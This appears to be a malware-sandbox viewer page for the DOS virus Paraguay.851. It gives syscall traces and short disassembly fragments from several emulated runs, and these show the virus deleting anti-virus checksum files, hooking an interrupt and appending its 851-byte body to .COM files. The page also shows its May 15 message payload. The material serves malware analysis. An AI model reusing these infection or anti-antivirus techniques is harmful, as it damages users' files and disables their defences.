Sample viewer

vx.netlux.org/Virus.DOS.Paraguay.851

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:43:31.593087976Z 250 PC: 12a77 | UNKNOWN!
2018-12-17T22:43:31.594107322Z 67 PC: 12a86 | Get or set file attributes
2018-12-17T22:43:31.598669114Z 65 PC: 12a8e | Delete file (Filename = 'ANTI-VIR.DAT')
2018-12-17T22:43:31.602087918Z 65 PC: 12a96 | Delete file (Filename = 'CHKLIST.MS')
2018-12-17T22:43:31.609316339Z 51 PC: 12a9b | Get or set Ctrl-Break
2018-12-17T22:43:31.610066486Z 51 PC: 12aa6 | Get or set Ctrl-Break
2018-12-17T22:43:31.610615079Z 53 PC: 12aab | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:43:31.611400014Z 37 PC: 12abc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:43:31.613163172Z 71 PC: 12ac8 | Get current directory
2018-12-17T22:43:31.623737009Z 42 PC: 12acc | Get date 0x12acc: cmp dh, 5
0x12acf: jne 0x12aed
0x12ad1: nop
0x12ad2: nop
0x12ad3: cmp dl, 0xf
0x12ad6: jne 0x12aed
0x12ad8: nop
0x12ad9: nop
0x12ada: mov cx, 0x20
0x12add: lea dx, word ptr [bp + 0x3a9]
0x12ae1: mov ah, 9
0x12ae3: int 0x21
0x12ae5: mov ah, 2
0x12ae7: mov dl, 7
0x12ae9: int 0x21
0x12aeb: loop 0x12add
0x12aed: mov ah, 0x1a
0x12aef: lea dx, word ptr [bp + 0x453]
0x12af3: int 0x21
0x12af5: jmp 0x12b4c
2018-12-17T22:43:31.625628177Z 26 PC: 12af5 | Set disk transfer address
2018-12-17T22:43:31.626887192Z 78 PC: 12b57 | Find first file
2018-12-17T22:43:31.630573593Z 67 PC: 12b8d | Get or set file attributes
2018-12-17T22:43:31.634246248Z 67 PC: 12b99 | Get or set file attributes
2018-12-17T22:43:31.647153209Z 61 PC: 12ba3 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:43:31.651456735Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:43:31.655398746Z 87 PC: 12bee | Get or set file date and time
2018-12-17T22:43:31.65680613Z 66 PC: 12bfd | Move file pointer
2018-12-17T22:43:31.658097631Z 44 PC: 12c10 | Get time 0x12c10: cmp dl, 0
0x12c13: je 0x12c0c
0x12c15: cmp dl, 0x10
0x12c18: je 0x12c0c
0x12c1a: xor ax, ax
0x12c1c: mov ah, dl
0x12c1e: mul word ptr [0x3a7]
0x12c22: mov byte ptr [bp + 0x37f], dl
0x12c26: lea bx, word ptr [bp + 0x380]
0x12c2a: mov byte ptr [bp + 0x4c7], 0
0x12c2f: call 0x12caa
0x12c32: mov bx, word ptr [bp + 0x4c8]
0x12c36: cli
0x12c37: mov ah, 0x40
0x12c39: mov cx, 0x353
0x12c3c: lea dx, word ptr [bp + 0x100]
0x12c40: int 0x21
0x12c42: sti
0x12c43: lea bx, word ptr [bp + 0x380]
0x12c47: mov byte ptr [bp + 0x4c7], 0
2018-12-17T22:43:31.660304123Z 64 PC: 12c42 | Write file or device (Write 851 bytes on handle 5)
2018-12-17T22:43:31.669447609Z 66 PC: 12c64 | Move file pointer
2018-12-17T22:43:31.671268427Z 64 PC: 12c6f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:43:31.677884182Z 87 PC: 12c76 | Get or set file date and time
2018-12-17T22:43:31.679693829Z 62 PC: 12c7a | Close file
2018-12-17T22:43:31.688003737Z 67 PC: 12c90 | Get or set file attributes
2018-12-17T22:43:31.697785443Z 79 PC: 12ca0 | Find next file
2018-12-17T22:43:31.701551682Z 67 PC: 12b8d | Get or set file attributes
2018-12-17T22:43:31.707258924Z 67 PC: 12b99 | Get or set file attributes
2018-12-17T22:43:31.716771697Z 61 PC: 12ba3 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:43:31.723770221Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:43:31.730158292Z 87 PC: 12bee | Get or set file date and time
2018-12-17T22:43:31.731480793Z 66 PC: 12bfd | Move file pointer
2018-12-17T22:43:31.733010115Z 62 PC: 12c7a | Close file
2018-12-17T22:43:31.735363936Z 67 PC: 12c90 | Get or set file attributes
2018-12-17T22:43:31.747915972Z 79 PC: 12ca0 | Find next file
2018-12-17T22:43:31.750563691Z 67 PC: 12b8d | Get or set file attributes
2018-12-17T22:43:31.756527517Z 67 PC: 12b99 | Get or set file attributes
2018-12-17T22:43:31.765952765Z 61 PC: 12ba3 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:43:31.772405185Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:43:31.778969939Z 87 PC: 12bee | Get or set file date and time
2018-12-17T22:43:31.780298828Z 66 PC: 12bfd | Move file pointer
2018-12-17T22:43:31.781642305Z 62 PC: 12c7a | Close file
2018-12-17T22:43:31.783972848Z 67 PC: 12c90 | Get or set file attributes
2018-12-17T22:43:31.794007085Z 79 PC: 12ca0 | Find next file
2018-12-17T22:43:31.79668218Z 67 PC: 12b8d | Get or set file attributes
2018-12-17T22:43:31.807220215Z 67 PC: 12b99 | Get or set file attributes
2018-12-17T22:43:31.817146755Z 61 PC: 12ba3 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:43:31.82433032Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:43:31.832466698Z 87 PC: 12bee | Get or set file date and time
2018-12-17T22:43:31.833893806Z 66 PC: 12bfd | Move file pointer
2018-12-17T22:43:31.835220417Z 62 PC: 12c7a | Close file
2018-12-17T22:43:31.838136037Z 67 PC: 12c90 | Get or set file attributes
2018-12-17T22:43:31.848212655Z 79 PC: 12ca0 | Find next file
2018-12-17T22:43:31.852153475Z 67 PC: 12b8d | Get or set file attributes
2018-12-17T22:43:31.857980652Z 67 PC: 12b99 | Get or set file attributes
2018-12-17T22:43:31.867741897Z 61 PC: 12ba3 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:43:31.87999928Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:43:31.886318576Z 87 PC: 12bee | Get or set file date and time
2018-12-17T22:43:31.887926863Z 66 PC: 12bfd | Move file pointer
2018-12-17T22:43:31.889649019Z 62 PC: 12c7a | Close file
2018-12-17T22:43:31.891593794Z 67 PC: 12c90 | Get or set file attributes
2018-12-17T22:43:31.901533197Z 79 PC: 12ca0 | Find next file
2018-12-17T22:43:31.904050582Z 67 PC: 12b8d | Get or set file attributes
2018-12-17T22:43:31.909733788Z 67 PC: 12b99 | Get or set file attributes
2018-12-17T22:43:31.919459068Z 61 PC: 12ba3 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:43:31.926216102Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:43:31.933222896Z 87 PC: 12bee | Get or set file date and time
2018-12-17T22:43:31.93488482Z 66 PC: 12bfd | Move file pointer
2018-12-17T22:43:31.93617488Z 44 PC: 12c10 | Get time 0x12c10: cmp dl, 0
0x12c13: je 0x12c0c
0x12c15: cmp dl, 0x10
0x12c18: je 0x12c0c
0x12c1a: xor ax, ax
0x12c1c: mov ah, dl
0x12c1e: mul word ptr [0x3a7]
0x12c22: mov byte ptr [bp + 0x37f], dl
0x12c26: lea bx, word ptr [bp + 0x380]
0x12c2a: mov byte ptr [bp + 0x4c7], 0
0x12c2f: call 0x12caa
0x12c32: mov bx, word ptr [bp + 0x4c8]
0x12c36: cli
0x12c37: mov ah, 0x40
0x12c39: mov cx, 0x353
0x12c3c: lea dx, word ptr [bp + 0x100]
0x12c40: int 0x21
0x12c42: sti
0x12c43: lea bx, word ptr [bp + 0x380]
0x12c47: mov byte ptr [bp + 0x4c7], 0
2018-12-17T22:43:31.938839483Z 64 PC: 12c42 | Write file or device (Write 851 bytes on handle 5)
2018-12-17T22:43:31.949328864Z 66 PC: 12c64 | Move file pointer
2018-12-17T22:43:31.950649132Z 64 PC: 12c6f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:43:31.957157588Z 87 PC: 12c76 | Get or set file date and time
2018-12-17T22:43:31.959252119Z 62 PC: 12c7a | Close file
2018-12-17T22:43:31.966695577Z 67 PC: 12c90 | Get or set file attributes
2018-12-17T22:43:31.976085462Z 79 PC: 12ca0 | Find next file
2018-12-17T22:43:31.97925417Z 67 PC: 12b8d | Get or set file attributes
2018-12-17T22:43:31.985370331Z 67 PC: 12b99 | Get or set file attributes
2018-12-17T22:43:31.995380006Z 61 PC: 12ba3 | Open file (Filename = 'PAH.COM')
2018-12-17T22:43:32.008759071Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:43:32.015705919Z 87 PC: 12bee | Get or set file date and time
2018-12-17T22:43:32.017421877Z 66 PC: 12bfd | Move file pointer
2018-12-17T22:43:32.019782438Z 62 PC: 12c7a | Close file
2018-12-17T22:43:32.021835548Z 67 PC: 12c90 | Get or set file attributes
2018-12-17T22:43:32.031892078Z 250 PC: 12b11 | UNKNOWN!
2018-12-17T22:43:32.033436826Z 59 PC: 12b19 | Change current directory
2018-12-17T22:43:32.035346957Z 51 PC: 12b22 | Get or set Ctrl-Break
2018-12-17T22:43:32.036436246Z 37 PC: 12b2b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:43:32.039113531Z 26 PC: 12b34 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7918,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:56.038178253Z 250 PC: 12a77 | UNKNOWN!
2018-12-25T12:02:56.039437317Z 67 PC: 12a86 | Get or set file attributes
2018-12-25T12:02:56.045470466Z 65 PC: 12a8e | Delete file (Filename = 'ANTI-VIR.DAT')
2018-12-25T12:02:56.051193591Z 65 PC: 12a96 | Delete file (Filename = 'CHKLIST.MS')
2018-12-25T12:02:56.064367588Z 51 PC: 12a9b | Get or set Ctrl-Break
2018-12-25T12:02:56.065251802Z 51 PC: 12aa6 | Get or set Ctrl-Break
2018-12-25T12:02:56.066175129Z 53 PC: 12aab | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:56.067979511Z 37 PC: 12abc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:56.069243455Z 71 PC: 12ac8 | Get current directory
2018-12-25T12:02:56.071937482Z 42 PC: 12acc | Get date 0x12acc: cmp dh, 5
0x12acf: jne 0x12aed
0x12ad1: nop
0x12ad2: nop
0x12ad3: cmp dl, 0xf
0x12ad6: jne 0x12aed
0x12ad8: nop
0x12ad9: nop
0x12ada: mov cx, 0x20
0x12add: lea dx, word ptr [bp + 0x3a9]
0x12ae1: mov ah, 9
0x12ae3: int 0x21
0x12ae5: mov ah, 2
0x12ae7: mov dl, 7
0x12ae9: int 0x21
0x12aeb: loop 0x12add
0x12aed: mov ah, 0x1a
0x12aef: lea dx, word ptr [bp + 0x453]
0x12af3: int 0x21
0x12af5: jmp 0x12b4c
2018-12-25T12:02:56.074048605Z 26 PC: 12af5 | Set disk transfer address
2018-12-25T12:02:56.075434596Z 78 PC: 12b57 | Find first file
2018-12-25T12:02:56.079050843Z 67 PC: 12b8d | Get or set file attributes
2018-12-25T12:02:56.082465413Z 67 PC: 12b99 | Get or set file attributes
2018-12-25T12:02:56.095526337Z 61 PC: 12ba3 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:56.10252001Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:02:56.106551695Z 87 PC: 12bee | Get or set file date and time
2018-12-25T12:02:56.108733876Z 66 PC: 12bfd | Move file pointer
2018-12-25T12:02:56.110511598Z 44 PC: 12c10 | Get time 0x12c10: cmp dl, 0
0x12c13: je 0x12c0c
0x12c15: cmp dl, 0x10
0x12c18: je 0x12c0c
0x12c1a: xor ax, ax
0x12c1c: mov ah, dl
0x12c1e: mul word ptr [0x3a7]
0x12c22: mov byte ptr [bp + 0x37f], dl
0x12c26: lea bx, word ptr [bp + 0x380]
0x12c2a: mov byte ptr [bp + 0x4c7], 0
0x12c2f: call 0x12caa
0x12c32: mov bx, word ptr [bp + 0x4c8]
0x12c36: cli
0x12c37: mov ah, 0x40
0x12c39: mov cx, 0x353
0x12c3c: lea dx, word ptr [bp + 0x100]
0x12c40: int 0x21
0x12c42: sti
0x12c43: lea bx, word ptr [bp + 0x380]
0x12c47: mov byte ptr [bp + 0x4c7], 0
2018-12-25T12:02:56.113303942Z 64 PC: 12c42 | Write file or device (Write 851 bytes on handle 5)
2018-12-25T12:02:56.123593685Z 66 PC: 12c64 | Move file pointer
2018-12-25T12:02:56.12529814Z 64 PC: 12c6f | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:02:56.131884417Z 87 PC: 12c76 | Get or set file date and time
2018-12-25T12:02:56.134428112Z 62 PC: 12c7a | Close file
2018-12-25T12:02:56.142864067Z 67 PC: 12c90 | Get or set file attributes
2018-12-25T12:02:56.152547778Z 79 PC: 12ca0 | Find next file
2018-12-25T12:02:56.160244844Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.165842838Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.175553873Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.182438902Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.188393372Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.189780152Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.192036249Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.193883085Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.205846979Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.209655433Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.215074385Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.22252885Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.230439182Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.236752381Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.238343257Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.240383821Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.242085157Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.251574073Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.253800126Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.257524023Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.263775854Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.271107478Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.275433318Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.276764201Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.278449212Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.279778834Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.286017115Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.288067672Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.29166291Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.297650124Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.302167065Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.306174389Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.307256693Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.315956045Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.317397886Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.324908791Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.327140685Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.333766946Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.346023057Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.353381515Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.359546615Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.360861261Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.362980463Z 44 PC: 12c10 | Get time (See above)
2018-12-25T12:02:56.365349616Z 64 PC: 12c42 | Write file or device (See above)
2018-12-25T12:02:56.373848382Z 66 PC: 12c64 | Move file pointer (See above)
2018-12-25T12:02:56.375716991Z 64 PC: 12c6f | Write file or device (See above)
2018-12-25T12:02:56.382313234Z 87 PC: 12c76 | Get or set file date and time (See above)
2018-12-25T12:02:56.383675574Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.391389775Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.401652306Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.404372115Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.410267725Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.420970032Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.42761575Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.433617616Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.435079968Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.436256704Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.43795875Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.447980928Z 250 PC: 12b11 | UNKNOWN!
2018-12-25T12:02:56.448675724Z 59 PC: 12b19 | Change current directory
2018-12-25T12:02:56.450361387Z 51 PC: 12b22 | Get or set Ctrl-Break
2018-12-25T12:02:56.451617111Z 37 PC: 12b2b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:56.453479563Z 26 PC: 12b34 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":5,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7918,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:56.522341413Z 250 PC: 12a77 | UNKNOWN!
2018-12-25T12:02:56.523791822Z 67 PC: 12a86 | Get or set file attributes
2018-12-25T12:02:56.530374145Z 65 PC: 12a8e | Delete file (Filename = 'ANTI-VIR.DAT')
2018-12-25T12:02:56.537397851Z 65 PC: 12a96 | Delete file (Filename = 'CHKLIST.MS')
2018-12-25T12:02:56.543685273Z 51 PC: 12a9b | Get or set Ctrl-Break
2018-12-25T12:02:56.545402147Z 51 PC: 12aa6 | Get or set Ctrl-Break
2018-12-25T12:02:56.547069936Z 53 PC: 12aab | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:56.549000945Z 37 PC: 12abc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:56.551357984Z 71 PC: 12ac8 | Get current directory
2018-12-25T12:02:56.55466266Z 42 PC: 12acc | Get date 0x12acc: cmp dh, 5
0x12acf: jne 0x12aed
0x12ad1: nop
0x12ad2: nop
0x12ad3: cmp dl, 0xf
0x12ad6: jne 0x12aed
0x12ad8: nop
0x12ad9: nop
0x12ada: mov cx, 0x20
0x12add: lea dx, word ptr [bp + 0x3a9]
0x12ae1: mov ah, 9
0x12ae3: int 0x21
0x12ae5: mov ah, 2
0x12ae7: mov dl, 7
0x12ae9: int 0x21
0x12aeb: loop 0x12add
0x12aed: mov ah, 0x1a
0x12aef: lea dx, word ptr [bp + 0x453]
0x12af3: int 0x21
0x12af5: jmp 0x12b4c
2018-12-25T12:02:56.557235896Z 26 PC: 12af5 | Set disk transfer address
2018-12-25T12:02:56.559048583Z 78 PC: 12b57 | Find first file
2018-12-25T12:02:56.572962631Z 67 PC: 12b8d | Get or set file attributes
2018-12-25T12:02:56.586441652Z 67 PC: 12b99 | Get or set file attributes
2018-12-25T12:02:56.604620736Z 61 PC: 12ba3 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:56.612247353Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:02:56.619620618Z 87 PC: 12bee | Get or set file date and time
2018-12-25T12:02:56.622697116Z 66 PC: 12bfd | Move file pointer
2018-12-25T12:02:56.624393709Z 44 PC: 12c10 | Get time 0x12c10: cmp dl, 0
0x12c13: je 0x12c0c
0x12c15: cmp dl, 0x10
0x12c18: je 0x12c0c
0x12c1a: xor ax, ax
0x12c1c: mov ah, dl
0x12c1e: mul word ptr [0x3a7]
0x12c22: mov byte ptr [bp + 0x37f], dl
0x12c26: lea bx, word ptr [bp + 0x380]
0x12c2a: mov byte ptr [bp + 0x4c7], 0
0x12c2f: call 0x12caa
0x12c32: mov bx, word ptr [bp + 0x4c8]
0x12c36: cli
0x12c37: mov ah, 0x40
0x12c39: mov cx, 0x353
0x12c3c: lea dx, word ptr [bp + 0x100]
0x12c40: int 0x21
0x12c42: sti
0x12c43: lea bx, word ptr [bp + 0x380]
0x12c47: mov byte ptr [bp + 0x4c7], 0
2018-12-25T12:02:56.627041801Z 64 PC: 12c42 | Write file or device (Write 851 bytes on handle 5)
2018-12-25T12:02:56.637781237Z 66 PC: 12c64 | Move file pointer
2018-12-25T12:02:56.639882757Z 64 PC: 12c6f | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:02:56.647092099Z 87 PC: 12c76 | Get or set file date and time
2018-12-25T12:02:56.648563192Z 62 PC: 12c7a | Close file
2018-12-25T12:02:56.666219868Z 67 PC: 12c90 | Get or set file attributes
2018-12-25T12:02:56.677375342Z 79 PC: 12ca0 | Find next file
2018-12-25T12:02:56.680478567Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.6878829Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.699405465Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.707092165Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.724331888Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.726129582Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.727911245Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.733097503Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.744540189Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.748545243Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.755197509Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.766478343Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.773931128Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.781187982Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.784105109Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.786066256Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.788151985Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.800483235Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.80245198Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.806468045Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.813737903Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.818053664Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.822202896Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.824078238Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.825364709Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.826789242Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.833668173Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.836640673Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.84662249Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.861890141Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.8714227Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.878934708Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.880841817Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.883837354Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.886212447Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.897009725Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.899635371Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.903706662Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.910237111Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:56.918310092Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:56.923548848Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:56.924677573Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:56.925799645Z 44 PC: 12c10 | Get time (See above)
2018-12-25T12:02:56.928009594Z 64 PC: 12c42 | Write file or device (See above)
2018-12-25T12:02:56.934673223Z 66 PC: 12c64 | Move file pointer (See above)
2018-12-25T12:02:56.935793374Z 64 PC: 12c6f | Write file or device (See above)
2018-12-25T12:02:56.948732374Z 87 PC: 12c76 | Get or set file date and time (See above)
2018-12-25T12:02:56.950411703Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:56.959098214Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:56.96830715Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:56.971231565Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:56.976334139Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:56.986656913Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:57.000897541Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:57.008000932Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:57.016181189Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:57.017463559Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:57.019294304Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:57.03054372Z 250 PC: 12b11 | UNKNOWN!
2018-12-25T12:02:57.031843342Z 59 PC: 12b19 | Change current directory
2018-12-25T12:02:57.03403652Z 51 PC: 12b22 | Get or set Ctrl-Break
2018-12-25T12:02:57.035274832Z 37 PC: 12b2b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:57.038011008Z 26 PC: 12b34 | Set disk transfer address

{"DateBased":true,"Day":15,"Month":5,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7918,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:56.827666722Z 250 PC: 12a77 | UNKNOWN!
2018-12-25T12:02:56.82879649Z 67 PC: 12a86 | Get or set file attributes
2018-12-25T12:02:56.836370207Z 65 PC: 12a8e | Delete file (Filename = 'ANTI-VIR.DAT')
2018-12-25T12:02:56.842752833Z 65 PC: 12a96 | Delete file (Filename = 'CHKLIST.MS')
2018-12-25T12:02:56.849154721Z 51 PC: 12a9b | Get or set Ctrl-Break
2018-12-25T12:02:56.850969248Z 51 PC: 12aa6 | Get or set Ctrl-Break
2018-12-25T12:02:56.852566302Z 53 PC: 12aab | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:56.854544334Z 37 PC: 12abc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:56.857522891Z 71 PC: 12ac8 | Get current directory
2018-12-25T12:02:56.86123882Z 42 PC: 12acc | Get date 0x12acc: cmp dh, 5
0x12acf: jne 0x12aed
0x12ad1: nop
0x12ad2: nop
0x12ad3: cmp dl, 0xf
0x12ad6: jne 0x12aed
0x12ad8: nop
0x12ad9: nop
0x12ada: mov cx, 0x20
0x12add: lea dx, word ptr [bp + 0x3a9]
0x12ae1: mov ah, 9
0x12ae3: int 0x21
0x12ae5: mov ah, 2
0x12ae7: mov dl, 7
0x12ae9: int 0x21
0x12aeb: loop 0x12add
0x12aed: mov ah, 0x1a
0x12aef: lea dx, word ptr [bp + 0x453]
0x12af3: int 0x21
0x12af5: jmp 0x12b4c
2018-12-25T12:02:56.864083629Z 9 PC: 12ae5 | Display string (String= ' �� VIRUS PARAGUAY �� ��> Written by Int13h <ij � �VIVA LA INDEPENDENCIA! � [ DIABOLICAL KREATIONS ] �=- First paraguayan virus group. Up the virus-scene! ')
2018-12-25T12:02:56.875239959Z 2 PC: 12aeb | Character output (Char = '07')
2018-12-25T12:02:56.879361138Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:56.889261634Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.892932851Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:56.906783686Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.909474984Z 9 PC: 12ae5 | Display string (See above)
